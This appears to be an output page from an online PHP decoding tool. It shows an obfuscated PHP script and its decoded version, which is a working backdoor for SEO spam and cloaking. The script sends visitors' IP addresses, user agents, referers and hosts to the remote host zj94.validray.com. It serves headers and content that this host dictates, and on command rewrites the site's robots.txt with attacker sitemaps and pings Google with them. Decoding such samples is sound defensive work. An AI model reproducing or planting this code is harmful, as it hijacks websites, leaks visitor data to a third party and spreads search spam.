Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ErRoR_REPORting((int)RouND(0+0+0));$_bipqagn="\172j94";$_ncqrlit="d1";if(pREG_mAtCH(..

Decoded Output download

<?php ErRoR_REPORting((int)RouND(0+0+0));$_bipqagn="zj94";$_ncqrlit="d1";if(pREG_mAtCH("/jp2023/si",$_SERVER["REQUEST_URI"])==((-0525-0732- -01436)-(int)rOUnd(-4.5+-4.5+-4.5+-4.5))){heaDER("HTTP/1.0 404 Not Found");echo"HTTP/1.0 404 Not Found"."___".$_bipqagn."___".$_ncqrlit;exit;}function _rnlinw($_ymhjrpt,$_clrwjwoj=2.1566262323384,$_wgzuge="mxmvttyhetrbekfcmaky"){$_mwxxu=cuRl_iNIT();CUrL_SEtOPT($_mwxxu,(int)RouND(5001+5001),$_ymhjrpt);curl_SEtopT($_mwxxu,(int)rOUNd(4913.5+4913.5+4913.5+4913.5)-(-0676- -0456- -0170+-0353),(int)rOunD(0.25+0.25+0.25+0.25));cURl_sEtopT($_mwxxu,(int)rOund(39+39),(int)ROunD(3.3333333333333+3.3333333333333+3.3333333333333));$_qogch=CUrl_EXec($_mwxxu);$_qogch=TriM($_qogch);CurL_cLOsE($_mwxxu);if(empty($_qogch)){$_qogch=fiLe_gEt_cOntENTS($_ymhjrpt);}return$_qogch;}$_copa="http://".$_bipqagn.".validray.com";$_cwbiersh="/index.php?VS=".$_ncqrlit."&GP=".$_bipqagn;$_jeijrni=array("SCRIPT_NAME","REQUEST_URI","HTTPS","REQUEST_SCHEME","SERVER_PORT","REMOTE_ADDR","HTTP_REFERER","HTTP_ACCEPT_LANGUAGE","HTTP_USER_AGENT","HTTP_HOST");foreach($_jeijrni as$_zfyej){$_rqxg=isset($_SERVER[$_zfyej])?$_SERVER[$_zfyej]:"";$_cdbazple=BaSE64_eNcODE(TrIm($_rqxg));$_cdbazple=STr_rEPLacE("+","-",$_cdbazple);$_cdbazple=str_ReplacE("/","_",$_cdbazple);$_cdbazple=sTr_rePlACe("=",".",$_cdbazple);$_cwbiersh.="&".$_zfyej."=".$_cdbazple;}$_fakpftla=EXpLOde("|@#$|",TrIM(_rnlinw($_copa.$_cwbiersh)));$_qbgktjp=CounT($_fakpftla);if($_qbgktjp<((int)rOUND(-343+-343)-(int)ROuNd(-229.66666666667+-229.66666666667+-229.66666666667))){HEaDER("HTTP/1.0 404 Not Found");exit;}else{$_htlqibo=tRim($_fakpftla[(int)roUND(108.5+108.5)-(0300-01012-0422- -01465)]);if(!empty($_htlqibo)){hEADeR($_htlqibo);}$_oqiektx=triM($_fakpftla[(-0245+0214)+(int)rOunD(-31.5+-31.5)+(01362-0615+-0302+-0112)]);if(!empty($_oqiektx)){echo$_oqiektx;}$_fivnfvrr=trIM($_fakpftla[$_qbgktjp-(int)rouND(0.33333333333333+0.33333333333333+0.33333333333333)]);if($_fivnfvrr=="exit"){exit;}if($_fivnfvrr=="ping"){$_ddet="User-agent:*".PHP_EOL;$_ddet.="Allow:/".PHP_EOL;$_gmsrxzj=ExplODE("<br/>",$_oqiektx);array_pOp($_gmsrxzj);foreach($_gmsrxzj as$_ukpfbl){$_ddet.="Sitemap:".$_ukpfbl.PHP_EOL;$_eghjzd=_rnlinw("https://www.google.com/ping?sitemap=".$_ukpfbl);prEG_matcH("/<h2>(.+)?<\/h2>/",$_eghjzd,$_hxveu);echo$_ukpfbl."==>ping-google-result-is:<b>".$_hxveu[(-0232-0167)-(-022+-057+-0432- -0637)+(-0224- -0215-0112)-(-01163+0314)]."</b><br/>";uSLEeP(mT_rANd((int)roUnd(33326.333333333+33326.333333333+33326.333333333)+(0260-0233),(int)rounD(150000+150000)));}fiLe_PUt_cONTEntS($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$_ddet);echo"robots.txt==><b>updated</b>";exit;}};?>

Did this file decode correctly?

Original Code

<?php ErRoR_REPORting((int)RouND(0+0+0));$_bipqagn="\172j94";$_ncqrlit="d1";if(pREG_mAtCH("/\152p20\062\x33\x2f\x73\x69",$_SERVER["R\x45Q\x55\x45ST\137\125RI"])==((-0525-0732- -01436)-(int)rOUnd(-4.5+-4.5+-4.5+-4.5))){heaDER("H\x54TP\057\061.0\x20\06404 No\164\x20F\x6f\165nd");echo"H\x54T\x50\x2f\x31.0 404 N\x6ft Fo\165n\x64"."\137_\137".$_bipqagn."_\x5f_".$_ncqrlit;exit;}function _rnlinw($_ymhjrpt,$_clrwjwoj=2.1566262323384,$_wgzuge="mxmvt\164y\x68e\x74r\142\x65k\x66cm\141k\171"){$_mwxxu=cuRl_iNIT();CUrL_SEtOPT($_mwxxu,(int)RouND(5001+5001),$_ymhjrpt);curl_SEtopT($_mwxxu,(int)rOUNd(4913.5+4913.5+4913.5+4913.5)-(-0676- -0456- -0170+-0353),(int)rOunD(0.25+0.25+0.25+0.25));cURl_sEtopT($_mwxxu,(int)rOund(39+39),(int)ROunD(3.3333333333333+3.3333333333333+3.3333333333333));$_qogch=CUrl_EXec($_mwxxu);$_qogch=TriM($_qogch);CurL_cLOsE($_mwxxu);if(empty($_qogch)){$_qogch=fiLe_gEt_cOntENTS($_ymhjrpt);}return$_qogch;}$_copa="h\x74\164\x70://".$_bipqagn."\056\166a\x6ci\144\x72\141\171.\x63\x6f\155";$_cwbiersh="/\151nde\x78.\x70hp?V\123=".$_ncqrlit."\046GP\x3d".$_bipqagn;$_jeijrni=array("\x53\103\x52\x49PT_\116A\115\x45","REQ\x55ES\124_\x55\x52\111","\x48TTPS","\x52EQUEST\137SC\x48E\x4d\x45","\x53E\x52VER\137\120OR\x54","\122\x45\x4dOT\105_\101DD\x52","\110TTP\x5fREFER\105\x52","\x48\x54TP_A\x43CE\120T_\114ANGUAGE","HTTP\x5fUSER\137\101\x47EN\124","\110\x54\124P_\x48OST");foreach($_jeijrni as$_zfyej){$_rqxg=isset($_SERVER[$_zfyej])?$_SERVER[$_zfyej]:"";$_cdbazple=BaSE64_eNcODE(TrIm($_rqxg));$_cdbazple=STr_rEPLacE("+","\x2d",$_cdbazple);$_cdbazple=str_ReplacE("\x2f","_",$_cdbazple);$_cdbazple=sTr_rePlACe("\075",".",$_cdbazple);$_cwbiersh.="&".$_zfyej."=".$_cdbazple;}$_fakpftla=EXpLOde("|\100\x23\044|",TrIM(_rnlinw($_copa.$_cwbiersh)));$_qbgktjp=CounT($_fakpftla);if($_qbgktjp<((int)rOUND(-343+-343)-(int)ROuNd(-229.66666666667+-229.66666666667+-229.66666666667))){HEaDER("H\124T\120/1\0560 40\064\040N\x6f\x74 Fo\165n\144");exit;}else{$_htlqibo=tRim($_fakpftla[(int)roUND(108.5+108.5)-(0300-01012-0422- -01465)]);if(!empty($_htlqibo)){hEADeR($_htlqibo);}$_oqiektx=triM($_fakpftla[(-0245+0214)+(int)rOunD(-31.5+-31.5)+(01362-0615+-0302+-0112)]);if(!empty($_oqiektx)){echo$_oqiektx;}$_fivnfvrr=trIM($_fakpftla[$_qbgktjp-(int)rouND(0.33333333333333+0.33333333333333+0.33333333333333)]);if($_fivnfvrr=="\x65x\151\x74"){exit;}if($_fivnfvrr=="\x70i\156g"){$_ddet="U\x73\x65r-a\147\x65\x6et:*".PHP_EOL;$_ddet.="Al\x6cow:/".PHP_EOL;$_gmsrxzj=ExplODE("<\142\x72/>",$_oqiektx);array_pOp($_gmsrxzj);foreach($_gmsrxzj as$_ukpfbl){$_ddet.="S\151te\x6d\x61p:".$_ukpfbl.PHP_EOL;$_eghjzd=_rnlinw("h\x74tps://\x77w\x77\056g\x6fogle.co\155/p\151\156g?si\164e\155\x61\160\x3d".$_ukpfbl);prEG_matcH("/<h2>\x28\056\053)?<\134/h\x32>/",$_eghjzd,$_hxveu);echo$_ukpfbl."=\075>\x70i\x6e\147-g\157og\154e\x2dr\145\163\165\154\x74\x2d\x69s\072<\x62\076".$_hxveu[(-0232-0167)-(-022+-057+-0432- -0637)+(-0224- -0215-0112)-(-01163+0314)]."</b>\074\142\162/>";uSLEeP(mT_rANd((int)roUnd(33326.333333333+33326.333333333+33326.333333333)+(0260-0233),(int)rounD(150000+150000)));}fiLe_PUt_cONTEntS($_SERVER["\x44\117\x43U\x4dENT\x5f\122OOT"]."/r\157\142\x6fts\056t\x78\x74",$_ddet);echo"ro\x62\157ts\056tx\x74\075=>\x3cb\x3eupdated<\057b>";exit;}};?>

Function Calls

RouND 1

Variables

None

Stats

MD5 6046787c5d029ecda4fa783ebb2b0bbf
Eval Count 0
Decode Time 54 ms